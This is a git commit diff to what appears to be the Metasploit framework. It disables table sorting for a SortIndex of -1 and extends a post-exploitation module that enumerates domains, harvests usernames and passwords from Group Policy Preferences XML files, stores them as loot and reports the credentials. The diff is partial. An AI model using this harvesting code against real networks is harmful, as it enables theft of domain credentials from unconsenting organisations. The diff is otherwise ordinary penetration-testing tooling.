Added specific details for each policy type to output table, modified REX:Ui:Table to prevent sorting when SortIndex == -1

unstable
Meatballs1 2012-07-02 11:47:44 +01:00
parent 299ed9d1d5
commit bd2368d6ab
2 changed files with 49 additions and 26 deletions

View File

@ -55,6 +55,10 @@ class Table
# #
# The text to affix to the end of the table. # The text to affix to the end of the table.
# #
# Sortindex
#
# The column to sort the table on, -1 disables sorting.
#
def initialize(opts = {}) def initialize(opts = {})
self.header = opts['Header'] self.header = opts['Header']
self.headeri = opts['HeaderIndent'] || 0 self.headeri = opts['HeaderIndent'] || 0
@ -184,6 +188,7 @@ class Table
# avoid actually resolving domain names. # avoid actually resolving domain names.
# #
def sort_rows(index=sort_index) def sort_rows(index=sort_index)
return if index == -1
return unless rows return unless rows
rows.sort! do |a,b| rows.sort! do |a,b|
if a[index].nil? if a[index].nil?

View File

@ -49,11 +49,9 @@ class Metasploit3 < Msf::Post
OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]), OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),
OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]), OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class) OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class)
end end
def run def run
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml" group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
group_path_user = "USER\\Preferences\\Groups\\Groups.xml" group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
service_path = "MACHINE\\Preferences\\Services\\Services.xml" service_path = "MACHINE\\Preferences\\Services\\Services.xml"
@ -76,7 +74,7 @@ class Metasploit3 < Msf::Post
print_good "Group Policy Files found locally" print_good "Group Policy Files found locally"
end end
# If user supplied domains this implicitly cancels the ALL flag. # If user supplied domains this implicitly cancels the ALL flag.
if datastore['ALL'] and datastore['DOMAINS'].blank? if datastore['ALL'] and datastore['DOMAINS'].blank?
print_status "Enumerating Domains on the Network..." print_status "Enumerating Domains on the Network..."
domains = enum_domains domains = enum_domains
@ -90,14 +88,14 @@ class Metasploit3 < Msf::Post
print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..." print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..."
user_domains.each{|ud| domains << ud} user_domains.each{|ud| domains << ud}
end end
# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again. # If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.
# If user supplied domains we do not wish to enumerate registry retrieved domains. # If user supplied domains we do not wish to enumerate registry retrieved domains.
if locals.blank? && user_domains.blank? if locals.blank? && user_domains.blank?
print_status "Enumerating Domains in the local registry..." print_status "Enumerating Domains in the local registry..."
domains << get_domain_reg domains << get_domain_reg
end end
domains.flatten! domains.flatten!
domains.compact! domains.compact!
domains.uniq! domains.uniq!
@ -164,7 +162,6 @@ class Metasploit3 < Msf::Post
return locals return locals
end end
def find_path(path, xml_path) def find_path(path, xml_path)
xml_path = "#{path}#{xml_path}" xml_path = "#{path}#{xml_path}"
begin begin
@ -211,11 +208,25 @@ class Metasploit3 < Msf::Post
user = node.attributes['runAs'] if node.attributes['runAs'] user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName'] user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username'] user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName'] user = node.attributes['userName'] if node.attributes['userName']
user = node.attributes['newName'] unless node.attributes['newName'].blank? user = node.attributes['newName'] unless node.attributes['newName'].blank?
changed = node.parent.attributes['changed'] changed = node.parent.attributes['changed']
# Printers and Shares
path = node.attributes['path']
# Datasources
dsn = node.attributes['dsn']
driver = node.attributes['driver']
# Tasks
app_name = node.attributes['appName']
# Services
service = node.attributes['serviceName']
# Groups
expires = node.attributes['expires'] expires = node.attributes['expires']
never_expires = node.attributes['neverExpires'] never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled'] disabled = node.attributes['acctDisabled']
@ -223,7 +234,7 @@ class Metasploit3 < Msf::Post
table = Rex::Ui::Text::Table.new( table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info', 'Header' => 'Group Policy Credential Info',
'Indent' => 1, 'Indent' => 1,
'SortIndex' => 5, 'SortIndex' => -1,
'Columns' => 'Columns' =>
[ [
'Name', 'Name',
@ -231,7 +242,7 @@ class Metasploit3 < Msf::Post
] ]
) )
table << ["Type", filetype] table << ["TYPE", filetype]
table << ["USERNAME", user] table << ["USERNAME", user]
table << ["PASSWORD", pass] table << ["PASSWORD", pass]
table << ["DOMAIN CONTROLLER", xmlfile[:dc]] table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
@ -240,22 +251,31 @@ class Metasploit3 < Msf::Post
table << ["EXPIRES", expires] unless expires.blank? table << ["EXPIRES", expires] unless expires.blank?
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank? table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
table << ["DISABLED", disabled] unless disabled.blank? table << ["DISABLED", disabled] unless disabled.blank?
table << ["PATH", path] unless path.blank?
table << ["DATASOURCE", dsn] unless dsn.blank?
table << ["DRIVER", driver] unless driver.blank?
table << ["TASK", app_name] unless app_name.blank?
table << ["SERVICE", service] unless service.blank?
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"]
end
print_good table.to_s print_good table.to_s
store_data(xmlfile[:xml], filetype, xmlfile[:path]) store_data(xmlfile[:xml], filetype, xmlfile[:path])
report_creds(user,pass) unless disabled and disabled == '1' report_creds(user,pass) unless disabled and disabled == '1'
end end
end end
def store_data(data, filename, path) def store_data(data, filename, path)
if datastore['STORE'] if datastore['STORE']
stored_path = store_loot('windows.gpp.xml', 'text/plain', session, data, filename, path) stored_path = store_loot('windows.gpp.xml', 'text/plain', session, data, filename, path)
print_status("XML file saved to: #{stored_path}") print_status("XML file saved to: #{stored_path}")
end end
end end
def report_creds(user, pass) def report_creds(user, pass)
if session.db_record if session.db_record
source_id = session.db_record.id source_id = session.db_record.id
@ -290,7 +310,6 @@ class Metasploit3 < Msf::Post
return pass return pass
end end
def enum_domains def enum_domains
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
buffersize = 500 buffersize = 500
@ -329,7 +348,7 @@ class Metasploit3 < Msf::Post
domains << x[:domain] domains << x[:domain]
base = base + 8 base = base + 8
end end
domains.uniq! domains.uniq!
print_status "Retrieved Domain(s) #{domains.join(', ')} from network" print_status "Retrieved Domain(s) #{domains.join(', ')} from network"
return domains return domains
@ -373,9 +392,9 @@ class Metasploit3 < Msf::Post
locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"]
locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache", "DefaultDomainName"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache", "DefaultDomainName"]
locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"]
domains = [] domains = []
locations.each do |location| locations.each do |location|
begin begin
subkey = location[0] subkey = location[0]
@ -386,11 +405,10 @@ class Metasploit3 < Msf::Post
end end
domains << domain.split('.')[0].upcase unless domain.blank? domains << domain.split('.')[0].upcase unless domain.blank?
end end
domains.uniq! domains.uniq!
print_status "Retrieved Domain(s) #{domains.join(', ')} from registry" print_status "Retrieved Domain(s) #{domains.join(', ')} from registry"
return domains return domains
end end
end end